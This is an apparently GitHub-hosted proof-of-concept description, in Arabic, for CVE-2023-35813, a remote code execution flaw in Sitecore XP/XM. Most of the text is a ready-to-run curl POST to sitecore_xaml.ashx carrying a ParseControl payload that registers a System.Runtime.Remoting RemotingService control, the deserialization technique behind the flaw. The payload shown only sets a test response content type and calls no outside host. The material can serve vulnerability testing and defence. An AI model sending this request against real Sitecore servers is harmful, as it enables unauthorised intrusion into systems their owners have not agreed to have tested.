nmlz/cve-2023-35813_pocإثبات مفهوم لاستغلال CVE-2023-35813، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Sitecore XP/XM عبر طلبات XAML مصممة. يوضح هجوم إلغاء تسلسل ParseControl.
curl -k -v -X POST "https://[target]/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
-H "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "__ISEVENT=1"
--data-urlencode "__SOURCE="
--data-urlencode "__PARAMETERS=ParseControl("<%@Register
TagPrefix='x'
Namespace='System.Runtime.Remoting.Services'
Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='test123'
/>")"
